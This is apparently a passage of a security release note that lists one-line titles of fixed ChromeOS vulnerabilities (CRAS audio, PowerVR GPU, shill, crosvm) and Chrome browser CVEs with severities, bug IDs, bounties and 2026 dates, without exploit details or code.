    Medium Fixes   CWE-862: shill Manager.NotifyDHCPEvent reachable from chronos allows DHCP spoofing 

    Medium Fixes  CVE-2026-45204 [PSP-406][PowerVR] Out of bounds memory access and kernel NULL pointer dereference in DmaTransfer when pui64Address is a pointer to device memory 

    High Fixes   Stack OOB Read to Heap OOB Write in msm_ccmd_ioctl_simple via Guest-Controlled _IOC_SIZE 

    High Fixes   [LPE] Patchpanel ConnectNamespace PID Gate Bypass Allows CAP_NET_ADMIN Root Netns Operations 

    Medium Fixes  CVE-2026-49745 [PSP-598][PP-174017] Unvalidated sHWPerfCtlDMABuf GPU-VA, DMA-write into FW privdata via MMU ctx 0 

    High Fixes   Heap OOB write in ANGLE D3D11 vertex streaming via `WEBGL_draw_instanced_base_vertex_base_instance` 

    High Fixes   Use-After-Free in CRAS LE-Audio via group removal race condition 

    High Fixes   Cross-client microphone audio exfiltration via missing CRAS stream ownership check 

    High Fixes   Use-After-Free in CRAS server via dangling active_fm->lea pointer 

    Critical Fixes   [LPE] Arbitrary file read as root in printscanmgr via FD leak and path traversal 

    High Fixes   Privilege escalation in CRAS via DlcStateChanged signal spoofing 

    High Fixes   missing untrusted input validation in chromeos-boot-alert leads to root pango-view processing attacker file 

    High Fixes   UAF and Control Flow Hijack in CRAS A2DP Profile Switching 

    Medium Fixes   Heap OOB Read in Floss A2DP via Ring Buffer Misalignment 

    High Fixes   Heap OOB write in CRAS mSBC SCO handling via dynamic packet size adjustment 

    High Fixes   UAF in CRAS server via dangling default_rmod->odev pointer after stream disconnect 

    High Fixes   Crosvm xHCI guest-to-host OOB write via unchecked DMA buffer size 

    High Fixes   Use-After-Free in CRAS HFP SLC due to leaked timer in AT+CMER handler 

    High Fixes   CRAS OOB write via integer overflow in cras_shm_buff_for_idx 

    High Fixes   OOB write in CRAS via unsigned underflow in cras_audio_area_copy 

    High Fixes   Use-After-Free in CRAS echo_ref_requests via concurrent list mutation 

    High Fixes   Unauthenticated CRAS Loopback Hijacking allows Cross-Client Audio Capture 

    High Fixes   Use-After-Free in CRAS loopback traversal due to data race 

    High Fixes   Out-of-bounds write in CRAS server via unvalidated client_shm_size 

    Critical Fixes   [LPE] Arbitrary `tc` Command Injection in `shill` Throttler via `TetheringConfig` 

    High Fixes   Potential Use-After-Free in vm_concierge ArcVm via base::Unretained in async D-Bus callback 

    Medium Fixes   TOCTOU in permission_broker allows chronos to open arbitrary device nodes 

    Medium Fixes   [PSP-490][PowerVR] Read UAF in GrowMipLevelArray() due to incorrect texture array iteration during image copy 

    Medium Fixes   [PSP-495][PowerVR] OOB read in CreateTextureMemory() due to memory mismanagement after texture format change 

    Medium Fixes   [PSP-516][PowerVR] Secondary mapping of the freelist PMR allows reading Freelist contents via GPU shader 

    Medium Fixes   [PSP-443][KMD][PowerVR] Read UAF of sync checkpoint in pvr_sync_finalise_fence() after update fence file descriptor is prematurely closed 

    Medium Fixes  CVE-2026-34196 [PSP-372][PowerVR] UAF read and/or write of arbitrary physical memory due to integer truncation in PMRDevPhysAddrOSMem 

    Medium Fixes  CVE-2026-7639 [PSP-452][KMD] Page UAF read in `PMMETA_PROTECT` heap memory 

    Medium Fixes   [PSP-415] [PROJ-ZERO] PowerVR: [crash-only bug] kernel crash due to faulting userspace memory access without fault handling 

    Android Security fixes can be found here


    Chrome Browser Security Fixes:


    [$TBD] [524395469] High CVE-2026-13855 Use after free in Ozone  on  2026-06-15 

    [$TBD] [524290062] Medium CVE-2026-14432 Use after free in V8  on  2026-06-15 

    [$TBD] [523884658] High CVE-2026-14431 Type Confusion in V8 Reported by [OpenAI Codex Security (amyb)] on  2026-06-14 

    [$TBD] [523690961] High CVE-2026-13854 Use after free in Ozone  on  2026-06-13 

    [$TBD] [523224019] High CVE-2026-13853 Use after free in Journeys  on  2026-06-12 

    [$TBD] [520571816] High CVE-2026-14429 Insufficient validation of untrusted input in Skia  on  2026-06-05 

    [$TBD] [520113415] Critical CVE-2026-14427 Heap buffer overflow in Skia  on  2026-06-04 

    [$TBD] [518247789] Low CVE-2026-14156 Policy bypass in StorageAccessAPI  on  2026-05-30 

    [$TBD] [518246925] Low CVE-2026-14155 Insufficient policy enforcement in StorageAccessAPI  on  2026-05-30 

    [$TBD] [518245882] Medium CVE-2026-14024 Use after free in Ozone  on  2026-05-30 

    [$1000.0] [517981277] High CVE-2026-14426 Use after free in V8 Reported by [] on  2026-05-30 

    [$TBD] [518063436] Medium CVE-2026-14023 Insufficient validation of untrusted input in SanitizerAPI  on  2026-05-29 

    [$TBD] [518007821] Critical CVE-2026-13786 Use after free in Ozone  on  2026-05-29 

    [$TBD] [517935753] High CVE-2026-14425 Use after free in ANGLE  on  2026-05-29 

    [$TBD] [517791835] Medium CVE-2026-14022 Insufficient validation of untrusted input in Network  on  2026-05-29 

    [$TBD] [517741170] Low CVE-2026-14154 Inappropriate implementation in DevTools  on  2026-05-28 

    [$TBD] [517731924] Medium CVE-2026-14021 Insufficient validation of untrusted input in StorageAccessAPI  on  2026-05-28 

    [$TBD] [517684077] Low CVE-2026-14153 Inappropriate implementation in Glic  on  2026-05-28 

    [$TBD] [517598518] Medium CVE-2026-14020 Insufficient validation of untrusted input in WebXR  on  2026-05-28 

    [$TBD] [517534944] Low CVE-2026-14152 Out of bounds write in ANGLE  on  2026-05-28 

    [$TBD] [517522769] High CVE-2026-14423 Type Confusion in Tint  on  2026-05-28 

    [$TBD] [517455455] Medium CVE-2026-14019 Inappropriate implementation in Passwords on IP-literal pages  on  2026-05-28 

    [$TBD] [517381770] Low CVE-2026-14151 Inappropriate implementation in AI  on  2026-05-27 

    [$TBD] [517376041] Low CVE-2026-14150 Insufficient validation of untrusted input in Speech  on  2026-05-27 

    [$TBD] [517345069] High CVE-2026-13848 Use after free in Forms  on  2026-05-27 

    [$TBD] [517241992] Medium CVE-2026-14017 Inappropriate implementation in Navigation  on  2026-05-27 

    [$TBD] [517234388] Medium CVE-2026-14016 Insufficient policy enforcement in SVG  on  2026-05-27 

    [$TBD] [517155893] Medium CVE-2026-14014 Inappropriate implementation in Paint  on  2026-05-27 

    [$TBD] [517114175] Medium CVE-2026-14013 Inappropriate implementation in SVG  on  2026-05-27 

    [$TBD] [517110749] Medium CVE-2026-14012 Side-channel information leakage in CSS  on  2026-05-27 

    [$TBD] [517033235] Medium CVE-2026-14421 Uninitialized Use in Dawn on ChromeOS-ARM due to disabled Mali multi-resolve workaround  on  2026-05-27 

    [$TBD] [517031505] Critical CVE-2026-14420 Out of bounds read and write in Dawn  on  2026-05-27 

    [$TBD] [516981393] Critical CVE-2026-14419 Use after free in Skia on Allocation Failure  on  2026-05-26 

    [$TBD] [516962715] Critical CVE-2026-13784 Use after free in Views  on  2026-05-26 

    [$TBD] [516962178] Critical CVE-2026-13783 Use after free in Views  on  2026-05-26 

    [$TBD] [516944556] Medium CVE-2026-14011 Out of bounds read in SurfaceCapture  on  2026-05-26 

    [$TBD] [516936863] High CVE-2026-13845 Use after free in DOM  on  2026-05-26 

    [$3000.0] [516836297] High CVE-2026-13842 Incorrect security UI in Chrome for iOS Reported by [] on  2026-05-26 

    [$TBD] [516865345] High CVE-2026-14418 Uninitialized Use in ANGLE  on  2026-05-26 

    [$TBD] [516819850] Medium CVE-2026-14009 Insufficient data validation in Passwords  on  2026-05-26 

    [$TBD] [516781007] Medium CVE-2026-14008 Uninitialized Use in WebXR  on  2026-05-26 

    [$TBD] [516683433] Critical CVE-2026-13782 Use after free in Browser  on  2026-05-26 

    [$TBD] [516649133] Critical CVE-2026-14417 Use after free in Dawn  on  2026-05-26 

    [$TBD] [516457532] Critical CVE-2026-13781 Insufficient validation of untrusted input in Skia  on  2026-05-25 

    [$TBD] [516425999] Medium CVE-2026-14007 Insufficient policy enforcement in PermissionsPolicy  on  2026-05-25 

    [$TBD] [515467789] High CVE-2026-13841 Integer overflow in Skia  on  2026-05-21 

    [$TBD] [515428315] Low CVE-2026-14416 Out of bounds read in Dawn  on  2026-05-21 

    [$TBD] [515426873] Low CVE-2026-14148 Type Confusion in CSS  on  2026-05-21 

    [$TBD] [515427046] Low CVE-2026-14149 Use after free in Audio  on  2026-05-21 

    [$TBD] [515423596] Medium CVE-2026-14006 Use after free in Navigation  on  2026-05-21 

    [$TBD] [515086856] Low CVE-2026-14415 Inappropriate implementation in V8  on  2026-05-20 

    [$TBD] [514769383] Critical CVE-2026-13780 Insufficient validation of untrusted input in ANGLE  on  2026-05-19 

    [$TBD] [514632767] Low CVE-2026-14147 Inappropriate implementation in CSS  on  2026-05-19 

    [$TBD] [514609778] High CVE-2026-13840 Insufficient policy enforcement in Canvas  on  2026-05-19 

    [$TBD] [514550047] Low CVE-2026-14146 Inappropriate implementation in CSS  on  2026-05-19 

    [$TBD] [514538751] Medium CVE-2026-14004 Inappropriate implementation in CSS  on  2026-05-18 

    [$TBD] [514503077] Medium CVE-2026-14003 Insufficient policy enforcement in Extensions  on  2026-05-18 

    [$TBD] [514489361] Medium CVE-2026-14002 Inappropriate implementation in Geolocation  on  2026-05-18 

    [$TBD] [514485825] Low CVE-2026-14145 Inappropriate implementation in CSS  on  2026-05-18 

    [$TBD] [514481943] Medium CVE-2026-14001 Inappropriate implementation in Network  on  2026-05-18 

    [$TBD] [514461552] Medium CVE-2026-14000 Inappropriate implementation in XML  on  2026-05-18 

    [$TBD] [514449396] High CVE-2026-13839 Inappropriate implementation in CSS  on  2026-05-18 

    [$TBD] [514445398] High CVE-2026-13838 Inappropriate implementation in CSS  on  2026-05-18 

    [$TBD] [514429130] High CVE-2026-13837 Inappropriate implementation in CSS  on  2026-05-18 

    [$TBD] [514420555] High CVE-2026-13836 Inappropriate implementation in CSS  on  2026-05-18 

    [$TBD] [514338102] High CVE-2026-13835 Inappropriate implementation in XML  on  2026-05-18 

    [$TBD] [514079793] Low CVE-2026-14144 Incorrect security UI in Views on Desktop  on  2026-05-17 

    [$TBD] [514073460] Low CVE-2026-14142 Inappropriate implementation in Extensions  on  2026-05-17 

    [$TBD] [514072495] Low CVE-2026-14139 Inappropriate implementation in TabStrip  on  2026-05-17 

    [$TBD] [514071697] Medium CVE-2026-13999 Inappropriate implementation in Extensions  on  2026-05-17 

    [$TBD] [514068972] Medium CVE-2026-13996 Incorrect security UI in Permissions  on  2026-05-17 

    [$TBD] [514064139] Medium CVE-2026-13993 Incorrect security UI in WebAppInstalls  on  2026-05-17 

    [$TBD] [514058566] Low CVE-2026-14135 Insufficient validation of untrusted input in Network  on  2026-05-17 

    [$TBD] [514056221] Medium CVE-2026-13989 Insufficient policy enforcement in PageInfo  on  2026-05-17 

    [$TBD] [514040614] Medium CVE-2026-13988 Inappropriate implementation in Paint  on  2026-05-17 

    [$TBD] [514039947] Low CVE-2026-14133 Race in History Embeddings  on  2026-05-17 

    [$TBD] [514039492] Low CVE-2026-14132 Inappropriate implementation in WebXR  on  2026-05-17 

    [$TBD] [514020982] Low CVE-2026-14131 Insufficient validation of untrusted input in WebAppInstalls  on  2026-05-17 

    [$TBD] [514020959] Medium CVE-2026-13986 Inappropriate implementation in Media UI  on  2026-05-17 

    [$TBD] [514019522] Low CVE-2026-14130 Incorrect security UI in Omnibox  on  2026-05-17 

    [$TBD] [514013849] Medium CVE-2026-13985 Inappropriate implementation in MediaCapture  on  2026-05-17 

    [$TBD] [514009654] Low CVE-2026-14127 Inappropriate implementation in Printing  on  2026-05-17 

    [$TBD] [514010404] Medium CVE-2026-13984 Incorrect security UI in TabStrip  on  2026-05-17 

    [$TBD] [514006829] Medium CVE-2026-13982 Incorrect security UI in Passwords  on  2026-05-17 

    [$TBD] [513988889] Medium CVE-2026-13979 Inappropriate implementation in Paint  on  2026-05-17 

    [$TBD] [513948227] Medium CVE-2026-14414 Insufficient validation of untrusted input in Skia  on  2026-05-16 

    [$TBD] [513925114] High CVE-2026-13834 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 

    [$TBD] [513922055] High CVE-2026-14413 Uninitialized Use in ANGLE  on  2026-05-16 

    [$TBD] [513920834] High CVE-2026-14412 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 

    [$TBD] [513919827] High CVE-2026-14411 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 

    [$TBD] [513918431] Low CVE-2026-14125 Uninitialized Use in ANGLE  on  2026-05-16 

    [$TBD] [513866949] Medium CVE-2026-13978 Insufficient policy enforcement in PageInfo  on  2026-05-16 

    [$TBD] [513859894] Medium CVE-2026-13977 Inappropriate implementation in HTMLParser on context element  on  2026-05-16 

    [$TBD] [513858286] Medium CVE-2026-13976 Heap buffer overflow in Storage  on  2026-05-16 

    [$1000.0] [513631768] Medium CVE-2026-14408 Uninitialized Use in Dawn Reported by [Chrovus ] on  2026-05-16 

    [$TBD] [513836996] Low CVE-2026-14410 Inappropriate implementation in Skia  on  2026-05-16 

    [$TBD] [513810921] Low CVE-2026-14409 Inappropriate implementation in V8 Reported by [] on  2026-05-16 

    [$TBD] [513832989] Medium CVE-2026-13973 Inappropriate implementation in UI  on  2026-05-16 

    [$TBD] [513822378] High CVE-2026-13832 Use after free in Headless  on  2026-05-16 

    [$TBD] [513792140] Medium CVE-2026-13972 Inappropriate implementation in Paint  on  2026-05-16 

    [$TBD] [513789382] Low CVE-2026-14121 Use after free in Chromoting on Linux Wayland  on  2026-05-16 

    [$TBD] [513781328] High CVE-2026-13831 Use after free in GPU  on  2026-05-16 

    [$TBD] [513780208] Medium CVE-2026-13971 Uninitialized Use in Skia  on  2026-05-16 

    [$TBD] [513779283] Medium CVE-2026-13970 Uninitialized Use in Media  on  2026-05-16 

    [$TBD] [513777411] Low CVE-2026-14120 Inappropriate implementation in DevTools  on  2026-05-16 

    [$TBD] [513772764] Low CVE-2026-14118 Insufficient data validation in DevTools  on  2026-05-16 

    [$TBD] [513762145] Medium CVE-2026-13968 Insufficient validation of untrusted input in DevTools  on  2026-05-16 

    [$TBD] [513751951] Medium CVE-2026-13967 Type Confusion in V8  on  2026-05-15 

    [$TBD] [513747800] Low CVE-2026-14116 Insufficient validation of untrusted input in DevTools  on  2026-05-15 

    [$TBD] [513745699] Low CVE-2026-14115 Insufficient validation of untrusted input in Cast  on  2026-05-15 

    [$TBD] [513741393] Medium CVE-2026-13966 Inappropriate implementation in History  on  2026-05-15 

    [$TBD] [513737952] Medium CVE-2026-13965 Use after free in Oilpan  on  2026-05-15 

    [$TBD] [513727626] Medium CVE-2026-13963 Inappropriate implementation in DevTools  on  2026-05-15 

    [$TBD] [513727494] High CVE-2026-13830 Use after free in Chromoting  on  2026-05-15 

    [$TBD] [513721370] Medium CVE-2026-13962 Insufficient data validation in PDF  on  2026-05-15 

    [$TBD] [513714023] Medium CVE-2026-13960 Inappropriate implementation in Passwords  on  2026-05-15 

    [$TBD] [513713946] Low CVE-2026-14112 Inappropriate implementation in Enterprise  on  2026-05-15 

    [$TBD] [513710926] Low CVE-2026-14111 Use after free in WebProtect  on  2026-05-15 

    [$TBD] [513698452] Low CVE-2026-14110 Inappropriate implementation in DarkMode  on  2026-05-15 

    [$TBD] [513694957] Low CVE-2026-14109 Insufficient policy enforcement in Mojo  on  2026-05-15 

    [$TBD] [513689974] Low CVE-2026-14108 Use after free in PDFium  on  2026-05-15 

    [$TBD] [513609249] Medium CVE-2026-13959 Insufficient validation of untrusted input in Blink  on  2026-05-15 

    [$TBD] [513586956] Medium CVE-2026-14407 Inappropriate implementation in V8 on ARM64 due to AAPCS64 ABI Mismatch  on  2026-05-15 

    [$TBD] [513553557] Medium CVE-2026-13957 Incorrect security UI in Extensions  on  2026-05-15 

    [$TBD] [513544566] Low CVE-2026-14107 Use after free in Scheduling  on  2026-05-15 

    [$TBD] [513528117] Low CVE-2026-14105 Insufficient policy enforcement in Speech  on  2026-05-15 

    [$TBD] [513515168] Medium CVE-2026-13956 Incorrect security UI in PageInfo  on  2026-05-15 

    [$TBD] [513504934] Medium CVE-2026-13954 Insufficient policy enforcement in XML  on  2026-05-15 

    [$TBD] [513484193] Low CVE-2026-14104 Insufficient validation of untrusted input in WebAppInstalls  on  2026-05-15 

    [$TBD] [513465245] Low CVE-2026-14103 Use after free in SSL on ChromeOS  on  2026-05-15 

    [$TBD] [513459192] Medium CVE-2026-13953 Inappropriate implementation in SplitView  on  2026-05-15 

    [$TBD] [513455047] Low CVE-2026-14102 Use after free in Passwords  on  2026-05-15 

    [$TBD] [513435594] Medium CVE-2026-14406 Out of bounds read in V8  on  2026-05-14 

    [$TBD] [513401808] Medium CVE-2026-13952 Inappropriate implementation in PerformanceAPIs  on  2026-05-14 

    [$TBD] [513399832] High CVE-2026-13828 Inappropriate implementation in Enterprise  on  2026-05-14 

    [$TBD] [513394321] Medium CVE-2026-13951 Policy bypass in USB on Linux-based Platforms  on  2026-05-14 

    [$TBD] [513383891] Low CVE-2026-14100 Insufficient data validation in NetworkCache  on  2026-05-14 

    [$TBD] [513375767] Low CVE-2026-14098 Inappropriate implementation in CSS  on  2026-05-14 

    [$TBD] [513376037] Low CVE-2026-14405 Uninitialized Use in V8  on  2026-05-14 

    [$TBD] [513360781] Medium CVE-2026-13950 Uninitialized Use in GPU  on  2026-05-14 

    [$TBD] [513337989] Medium CVE-2026-14404 Inappropriate implementation in PDFium  on  2026-05-14 

    [$TBD] [513298483] Low CVE-2026-14403 Use after free in V8  on  2026-05-14 

    [$TBD] [513286820] Medium CVE-2026-13948 Insufficient policy enforcement in Extensions  on  2026-05-14 

    [$TBD] [513271007] Low CVE-2026-14095 Insufficient validation of untrusted input in Browser  on  2026-05-14 

    [$TBD] [513240099] Low CVE-2026-14093 Use after free in Cast  on  2026-05-14 

    [$TBD] [513226551] Medium CVE-2026-13945 Insufficient policy enforcement in Extensions on Linux via XDG Global Shortcuts portal  on  2026-05-14 

    [$TBD] [513222854] Critical CVE-2026-13779 Use after free in Chromoting  on  2026-05-14 

    [$TBD] [513212892] Low CVE-2026-14092 Insufficient policy enforcement in Privacy  on  2026-05-14 

    [$TBD] [513208773] Low CVE-2026-14091 Use after free in DevTools  on  2026-05-14 

    [$TBD] [513194241] Low CVE-2026-14090 Out of bounds read in CameraCapture  on  2026-05-14 

    [$TBD] [513188254] Low CVE-2026-14089 Insufficient validation of untrusted input in PopupBlocker  on  2026-05-14 

    [$TBD] [513186670] Medium CVE-2026-13942 Insufficient validation of untrusted input in Video Capture  on  2026-05-14 

    [$TBD] [513177497] High CVE-2026-13824 Insufficient validation of untrusted input in Extensions  on  2026-05-14 

    [$TBD] [513169718] Low CVE-2026-14086 Insufficient policy enforcement in HID  on  2026-05-14 

    [$TBD] [513163011] High CVE-2026-13823 Use after free in Glic  on  2026-05-14 

    [$TBD] [513158425] Medium CVE-2026-13940 Uninitialized Use in Cast  on  2026-05-14 

    [$TBD] [513155863] Low CVE-2026-14085 Side-channel information leakage in CSS  on  2026-05-14 

    [$TBD] [513143921] Medium CVE-2026-13938 Integer overflow in Fonts  on  2026-05-14 

    [$TBD] [513142445] High CVE-2026-13821 Use after free in Canvas  on  2026-05-14 

    [$TBD] [513138148] Low CVE-2026-14084 Insufficient validation of untrusted input in Chromoting  on  2026-05-14 

    [$TBD] [513128322] Low CVE-2026-14083 Insufficient validation of untrusted input in HTML  on  2026-05-14 

    [$TBD] [513048822] High CVE-2026-14401 Insufficient validation of untrusted input in ANGLE  on  2026-05-13 

    [$TBD] [513049578] Low CVE-2026-14082 Race in Storage  on  2026-05-13 

    [$TBD] [513046494] Medium CVE-2026-13937 Insufficient policy enforcement in Passwords  on  2026-05-13 

    [$TBD] [513030698] Low CVE-2026-14081 Insufficient policy enforcement in DevTools  on  2026-05-13 

    [$TBD] [513012139] Critical CVE-2026-13776 Type Confusion in Dawn  on  2026-05-13 

    [$TBD] [513009005] Medium CVE-2026-13935 Side-channel information leakage in ComputePressure  on  2026-05-13 

    [$TBD] [513006636] Medium CVE-2026-13934 Insufficient validation of untrusted input in Dawn on Android leads to GPU process UB  on  2026-05-13 

    [$TBD] [513006745] Medium CVE-2026-14399 Uninitialized Use in Dawn  on  2026-05-13 

    [$TBD] [513002625] Medium CVE-2026-13933 Insufficient policy enforcement in Passwords  on  2026-05-13 

    [$TBD] [512995785] Critical CVE-2026-14398 Use after free in ANGLE  on  2026-05-13 

    [$TBD] [512986879] High CVE-2026-13820 Out of bounds read in Skia  on  2026-05-13 

    [$TBD] [512971938] Low CVE-2026-14079 Policy bypass in Network  on  2026-05-13 

    [$TBD] [512953564] Low CVE-2026-14078 Policy bypass in WebRTC  on  2026-05-13 

    [$TBD] [512937764] Medium CVE-2026-13930 Insufficient policy enforcement in Actor  on  2026-05-13 

    [$TBD] [512162479] Medium CVE-2026-13928 Insufficient validation of untrusted input in Enterprise  on  2026-05-11 

    [$TBD] [511823182] High CVE-2026-13818 Inappropriate implementation in Passwords  on  2026-05-10 

    [$TBD] [511815165] Low CVE-2026-14076 Policy bypass in Network  on  2026-05-10 

    [$TBD] [511766407] Critical CVE-2026-13775 Use after free in GPU  on  2026-05-10 

    [$TBD] [511748106] Medium CVE-2026-13922 Side-channel information leakage in Paint  on  2026-05-10 

    [$TBD] [511739631] High CVE-2026-13817 Insufficient validation of untrusted input in Glic  on  2026-05-10 

    [$TBD] [511738175] Medium CVE-2026-13921 Insufficient validation of untrusted input in DeviceBoundSessionCredentials  on  2026-05-10 

    [$TBD] [511722207] High CVE-2026-13815 Use after free in Blink  on  2026-05-10 

    [$TBD] [511712766] High CVE-2026-13814 Use after free in Views  on  2026-05-10 

    [$TBD] [511290389] Low CVE-2026-14395 Out of bounds write in V8  on  2026-05-08 

    [$TBD] [511263221] Low CVE-2026-14394 Use after free in V8  on  2026-05-08 

    [$TBD] [511255112] Medium CVE-2026-14393 Use after free in V8  on  2026-05-08 

    [$TBD] [511249430] Medium CVE-2026-13919 Insufficient data validation in Extensions  on  2026-05-08 

    [$3000.0] [510829679] High CVE-2026-13793 Insufficient policy enforcement in SVG  on  2026-05-07 

    [$1000.0] [507263861] Low CVE-2026-14026  Misleading Directory Upload via Split View Context Confusion   on  2026-04-28 

    [$0.0] [507099867] Low CVE-2026-14072 Incorrect security UI in SplitView Reported by [] on  2026-04-28 

    [$TBD] [507239830] Medium CVE-2026-13911 Insufficient data validation in Spellcheck  on  2026-04-27 

    [$TBD] [507237563] Low CVE-2026-14073 Insufficient policy enforcement in WebXR  on  2026-04-27 

    [$3000.0] [507090179] Medium CVE-2026-13858 Out of bounds read in FFmpeg  on  2026-04-27 

    [$TBD] [506558270] Critical CVE-2026-13774 Use after free in Extensions  on  2026-04-25 

    [$TBD] [506149253] High CVE-2026-13811 Use after free in IME  on  2026-04-24 

    [$TBD] [506143724] Low CVE-2026-14071 Side-channel information leakage in WebAudio  on  2026-04-24 

    [$TBD] [505933538] Medium CVE-2026-13909 Insufficient policy enforcement in DevTools  on  2026-04-23 

    [$TBD] [505137978] Low CVE-2026-14070 Uninitialized Use in WebNN  on  2026-04-21 

    [$TBD] [505136542] Low CVE-2026-14069 Integer overflow in WebNN  on  2026-04-21 

    [$TBD] [504613867] Medium CVE-2026-13906 Out of bounds read in Codecs  on  2026-04-20 

    [$1000.0] [504600482] Low CVE-2026-13810 Inappropriate implementation in Input on focus. This allows XSS to silently harvest saved passwords on page load without clicks, bypassing mandatory user gesture security checks.  on  2026-04-20 

    [$TBD] [503912196] Medium CVE-2026-13903 Insufficient policy enforcement in Bluetooth  on  2026-04-17 

    [$TBD] [503617508] Low CVE-2026-14065 Insufficient validation of untrusted input in PageInfo  on  2026-04-17 

    [$TBD] [503585173] Medium CVE-2026-13901 Insufficient validation of untrusted input in Serial  on  2026-04-16 

    [$TBD] [503333798] High CVE-2026-13806 Insufficient validation of untrusted input in Accessibility  on  2026-04-16 

    [$TBD] [503054174] High CVE-2026-14390 Use after free in ANGLE  on  2026-04-15 

    [$TBD] [502473563] Low CVE-2026-14063 Out of bounds memory access in Chromecast  on  2026-04-14 

    [$TBD] [502448128] Low CVE-2026-14062 Inappropriate implementation in Views on ChromeOS  on  2026-04-14 

    [$TBD] [502434484] Low CVE-2026-14061 Inappropriate implementation in Dawn on hardware with 1ns timestamp period  on  2026-04-14 

    [$TBD] [502374993] Medium CVE-2026-13900 Insufficient validation of untrusted input in Chromecast  on  2026-04-13 

    [$TBD] [502363986] Low CVE-2026-14059 Insufficient policy enforcement in Related-Website-Sets on RWS removal  on  2026-04-13 

    [$TBD] [502354038] Low CVE-2026-14058 Policy bypass in Parser  on  2026-04-13 

    [$TBD] [502212647] Low CVE-2026-14057 Insufficient policy enforcement in FedCM  on  2026-04-13 

    [$TBD] [502109002] Medium CVE-2026-13899 Use after free in HTML  on  2026-04-13 

    [$TBD] [501925480] Medium CVE-2026-13898 Use after free in Cast Receiver  on  2026-04-12 

    [$TBD] [501888426] Low CVE-2026-14056 Insufficient validation of untrusted input in Media  on  2026-04-12 

    [$TBD] [501877896] Medium CVE-2026-13897 Insufficient policy enforcement in Chromecast  on  2026-04-12 

    [$TBD] [501873032] High CVE-2026-13804 Use after free in Chromecast  on  2026-04-12 

    [$TBD] [501851312] Low CVE-2026-14054 Insufficient policy enforcement in Network  on  2026-04-12 

    [$TBD] [501836539] Low CVE-2026-14053 Insufficient policy enforcement in Extensions  on  2026-04-12 

    [$TBD] [501820076] Medium CVE-2026-13896 Insufficient policy enforcement in Glic  on  2026-04-11 

    [$TBD] [501810874] Low CVE-2026-14052 Insufficient policy enforcement in FileSystem  on  2026-04-11 

    [$TBD] [501770542] Medium CVE-2026-13895 Inappropriate implementation in Autofill  on  2026-04-11 

    [$TBD] [501741117] Medium CVE-2026-13894 Insufficient policy enforcement in Network  on  2026-04-11 

    [$TBD] [501729582] Medium CVE-2026-13893 Insufficient validation of untrusted input in WebUI  on  2026-04-11 

    [$TBD] [501708647] Low CVE-2026-14050 Insufficient policy enforcement in Passwords  on  2026-04-11 

    [$TBD] [501659888] Low CVE-2026-14049 Inappropriate implementation in GPU  on  2026-04-11 

    [$TBD] [501631475] Medium CVE-2026-13891 Insufficient validation of untrusted input in Extensions  on  2026-04-11 

    [$TBD] [501623322] High CVE-2026-13802 Use after free in Views  on  2026-04-11 

    [$TBD] [500601345] Medium CVE-2026-13890 Out of bounds read in Chromecast  on  2026-04-08 

    [$TBD] [500587568] High CVE-2026-13801 Integer overflow in Chromecast  on  2026-04-08 

    [$TBD] [500566906] Medium CVE-2026-13888 Use after free in Extensions  on  2026-04-07 

    [$TBD] [500505046] Medium CVE-2026-14389 Integer overflow in Skia  on  2026-04-07 

    [$TBD] [500476886] Medium CVE-2026-14388 Out of bounds read in ANGLE  on  2026-04-07 

    [$TBD] [500475136] Medium CVE-2026-13886 Policy bypass in Isolated Web Apps  on  2026-04-07 

    [$TBD] [500305404] Medium CVE-2026-14387 Integer overflow in Skia  on  2026-04-07 

    [$TBD] [500077014] Medium CVE-2026-13884 Heap buffer overflow in Chromecast  on  2026-04-06 

    [$TBD] [500030250] Medium CVE-2026-13883 Type Confusion in ANGLE  on  2026-04-06 

    [$TBD] [499252371] High CVE-2026-13799 Use after free in QUIC  on  2026-04-03 

    [$TBD] [499189601] Low CVE-2026-14048 Use after free in Chromecast  on  2026-04-03 

    [$TBD] [499162550] Medium CVE-2026-13882 Inappropriate implementation in USB  on  2026-04-02 

    [$TBD] [499100491] Medium CVE-2026-13881 Insufficient data validation in WebAppInstalls  on  2026-04-02 

    [$TBD] [499048914] High CVE-2026-13798 Heap buffer overflow in Chromecast  on  2026-04-02 

    [$TBD] [499025645] High CVE-2026-13797 Insufficient validation of untrusted input in Chromecast  on  2026-04-02 

    [$TBD] [499022239] Medium CVE-2026-13879 Use after free in Bluetooth  on  2026-04-02 

    [$TBD] [498864176] Low CVE-2026-14047 Insufficient policy enforcement in Extensions  on  2026-04-02 

    [$TBD] [498820206] Medium CVE-2026-13877 Insufficient validation of untrusted input in ANGLE  on  2026-04-01 

    [$TBD] [498722200] Medium CVE-2026-13876 Inappropriate implementation in Network  on  2026-04-01 

    [$TBD] [498411773] Medium CVE-2026-13874 Inappropriate implementation in DataTransfer  on  2026-03-31 

    [$TBD] [498085466] Medium CVE-2026-13873 Out of bounds memory access in Layout  on  2026-03-31 

    [$TBD] [497961376] Medium CVE-2026-13871 Insufficient data validation in GuestView  on  2026-03-30 

    [$TBD] [497723649] Low CVE-2026-14045 Insufficient validation of untrusted input in Network  on  2026-03-30 

    [$TBD] [497670996] Low CVE-2026-14044 Use after free in ANGLE  on  2026-03-30 

    [$TBD] [497632232] Low CVE-2026-14043 Use after free in GetUserMedia  on  2026-03-29 

    [$TBD] [497558336] Low CVE-2026-14042 Inappropriate implementation in Isolated Web Apps  on  2026-03-29 

    [$TBD] [497544822] Low CVE-2026-14041 Insufficient policy enforcement in Serial  on  2026-03-29 

    [$TBD] [497488593] Low CVE-2026-14040 Use after free in BrowserTag  on  2026-03-29 

    [$TBD] [497358012] Low CVE-2026-14039 Insufficient policy enforcement in GetUserMedia  on  2026-03-28 

    [$TBD] [497345177] Medium CVE-2026-13867 Inappropriate implementation in Geolocation  on  2026-03-28 

    [$TBD] [497241148] Low CVE-2026-14038 Insufficient validation of untrusted input in New Tab Page  on  2026-03-28 

    [$TBD] [497090912] Medium CVE-2026-13865 Insufficient validation of untrusted input in Enterprise  on  2026-03-27 

    [$TBD] [496522611] Low CVE-2026-14037 Insufficient policy enforcement in GPU  on  2026-03-26 

    [$TBD] [496411061] Low CVE-2026-14036 Insufficient policy enforcement in Bluetooth  on  2026-03-25 

    [$TBD] [496399913] Medium CVE-2026-13864 Insufficient policy enforcement in WebHID  on  2026-03-25 

    [$TBD] [496371586] Low CVE-2026-14035 Insufficient policy enforcement in Bluetooth  on  2026-03-25 

    [$TBD] [495459838] Low CVE-2026-14031 Incorrect security UI in File Input  on  2026-03-23 

